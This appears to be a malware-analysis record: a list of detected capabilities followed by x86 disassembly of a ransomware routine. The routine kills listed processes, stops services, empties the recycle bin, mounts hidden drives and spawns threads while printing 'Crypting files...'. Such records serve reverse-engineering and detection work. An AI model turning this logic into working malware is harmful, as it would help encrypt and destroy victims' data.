Function at 0x4069e0
Capabilities:
Create thread
Empty the recycle bin
Enumerate disk volumes
Enumerate processes
Get disk information
Get system information on windows
Query service status
Resolve function by parsing pe exports
Stop service
Terminate process
Terminate process by name

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x354
mov edx, 0x4218cc
push ebx
mov bl, byte [str.11B2E3CF62E6]
push esi
push edi
nop word [eax + eax]
cmp bl, byte [edx]
je 0x406a07
inc edx
jmp 0x406a00
mov eax, 1
nop dword [eax]
cmp eax, 0xc
jge 0x406a23
mov cl, byte [eax + edx]
cmp cl, byte [eax + str.11B2E3CF62E6]
jne 0x406a04
inc eax
jmp 0x406a10
lea ecx, [edx + 0xc]
call fcn.00401090
push 0
push 0xf
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [esp + 0x148], 0x128
lea eax, [esp + 0x148]
mov dword [esp + 0xc], esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x406acd
nop
mov eax, dword [0x422348]
mov edi, dword [eax + 0x1c]
sub edi, 1
js 0x406aba
nop dword [eax]
mov eax, dword [eax + 0x18]
push dword [eax + edi*4]
lea eax, [esp + 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x406aaa
push dword [esp + 0x150]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x406aaa
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
sub edi, 1
js 0x406ab6
mov eax, dword [0x422348]
jmp 0x406a70
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x148]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x406a60
push esi
call ebx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
test ebx, ebx
je 0x406b62
mov eax, dword [0x422348]
mov edi, dword [eax + 0x24]
sub edi, 1
js 0x406b5b
mov eax, dword [eax + 0x20]
push 0x2c
push dword [eax + edi*4]
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x406b4f
lea eax, [esp + 0x94]
push eax
push 0x24
lea eax, [esp + 0xa0]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x406b48
mov eax, dword [esp + 0x9c]
cmp eax, 1
je 0x406b48
cmp eax, 3
je 0x406b48
lea eax, [esp + 0x98]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
sub edi, 1
js 0x406b5b
mov eax, dword [0x422348]
jmp 0x406af2
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
call fcn.00406640
cmp dword [0x422398], 0
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
je 0x406bc2
push 0
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0
push eax
push str.Calling_GetSystemInfo...
call ebx
push eax
push str.Calling_GetSystemInfo...
push dword [0x422398]
call esi
push 0
lea eax, [esp + 0x18]
push eax
push 1
push 0x41eeac
push dword [0x422398]
call esi
lea eax, [esp + 0xbc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [0x422398], 0
je 0x406c13
push 0
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0
push eax
push str.Loading_hidden_drives...
call ebx
push eax
push str.Loading_hidden_drives...
push dword [0x422398]
call esi
push 0
lea eax, [esp + 0x1c]
push eax
push 1
push 0x41eeac
push dword [0x422398]
call esi
push 0x68
lea eax, [esp + 0xe4]
mov dword [esp + 0x2c], 0x41f11c
push 0
push eax
mov dword [esp + 0x38], 0x41f124
mov dword [esp + 0x3c], 0x41f12c
mov dword [esp + 0x40], 0x41f134
mov dword [esp + 0x44], 0x41f13c
mov dword [esp + 0x48], 0x41f144
mov dword [esp + 0x4c], 0x41f14c
mov dword [esp + 0x50], 0x41f154
mov dword [esp + 0x54], 0x41f15c
mov dword [esp + 0x58], 0x41f164
mov dword [esp + 0x5c], 0x41f16c
mov dword [esp + 0x60], 0x41f174
mov dword [esp + 0x64], 0x41f17c
mov dword [esp + 0x68], 0x41f184
mov dword [esp + 0x6c], 0x41f18c
mov dword [esp + 0x70], 0x41f194
mov dword [esp + 0x74], 0x41f19c
mov dword [esp + 0x78], 0x41f1a4
mov dword [esp + 0x7c], 0x41f1ac
mov dword [esp + 0x80], 0x41f1b4
mov dword [esp + 0x84], 0x41f1bc
mov dword [esp + 0x88], 0x41f1c4
mov dword [esp + 0x8c], 0x41f1cc
mov dword [esp + 0x90], 0x41f1d4
mov dword [esp + 0x94], 0x41f1dc
mov dword [esp + 0x98], 0x41f1e4
call fcn.00408570
xor esi, esi
add esp, 0xc
mov dword [esp + 0x24], esi
xor edi, edi
mov ebx, dword [esp + edi*4 + 0x28]
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jne 0x406d2c
mov dword [esp + esi*4 + 0xe0], ebx
inc esi
inc edi
cmp edi, 0x1a
jl 0x406d14
push 0x10000
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call ebx
mov edi, eax
test edi, edi
je 0x406e07
push 0x10000
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call ebx
mov dword [esp + 0xc], eax
test eax, eax
je 0x406df5
push 0x8000
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [esp + 0x10], eax
test esi, esi
je 0x406dd4
lea eax, [esp + 0x24]
push eax
push 0x78
lea eax, [esp + 0x278]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x406db1
lea eax, [esp + 0x270]
push eax
call ebx
cmp eax, 3
je 0x406dc0
dec esi
push edi
push dword [esp + esi*4 + 0xe4]
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
push 0x7fff
push edi
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
jne 0x406d84
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
push dword [esp + 0xc]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call esi
jmp 0x406dfb
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call esi
cmp dword [0x422398], 0
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
je 0x406e58
push 0
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0
push eax
push str.Checking_SSSE2...
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push eax
push str.Checking_SSSE2...
push dword [0x422398]
call ebx
push 0
lea eax, [esp + 0x14]
push eax
push 1
push 0x41eeac
push dword [0x422398]
call ebx
jmp 0x406e5e
mov ebx, dword [sym.imp.KERNEL32.dll_WriteConsoleW]
call fcn.00402ac0
mov ecx, dword [0x422398]
test ecx, ecx
je 0x406ead
push 0
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0
push eax
push str.Making_threads...
call edi
push eax
push str.Making_threads...
push dword [0x422398]
call ebx
push 0
lea eax, [esp + 0x20]
push eax
push 1
push 0x41eeac
push dword [0x422398]
call ebx
mov ecx, dword [0x422398]
mov eax, dword [esp + 0xd0]
lea esi, [eax + eax]
test ecx, ecx
je 0x406ef5
push 0
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0
push eax
push str.Making_iocp
call edi
push eax
push str.Making_iocp
push dword [0x422398]
call ebx
push 0
lea eax, [esp + 0x24]
push eax
push 1
push 0x41eeac
push dword [0x422398]
call ebx
push esi
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x42239c], eax
test esi, esi
je 0x406f2d
push 0
push 0
push eax
push 0x402780
push 0
push 0
call edi
sub esi, 1
je 0x406f2d
mov eax, dword [0x42239c]
jmp 0x406f11
cmp dword [0x422398], 0
je 0x406f74
push 0
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0
push eax
push str.Crypting_files...
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push str.Crypting_files...
push dword [0x422398]
call ebx
push 0
lea eax, [esp + 0x10]
push eax
push 1
push 0x41eeac
push dword [0x422398]
call ebx
mov esi, dword [esp + 0xd0]
mov dword [0x4223b0], esi
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [0x4223ac], eax
mov dword [0x4218f4], 0x40
test esi, esi
jle 0x406fb6
nop word [eax + eax]
push 0
push 0
push 0
push 0x407550
push 0
push 0
call edi
sub esi, 1
jne 0x406fa0
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 4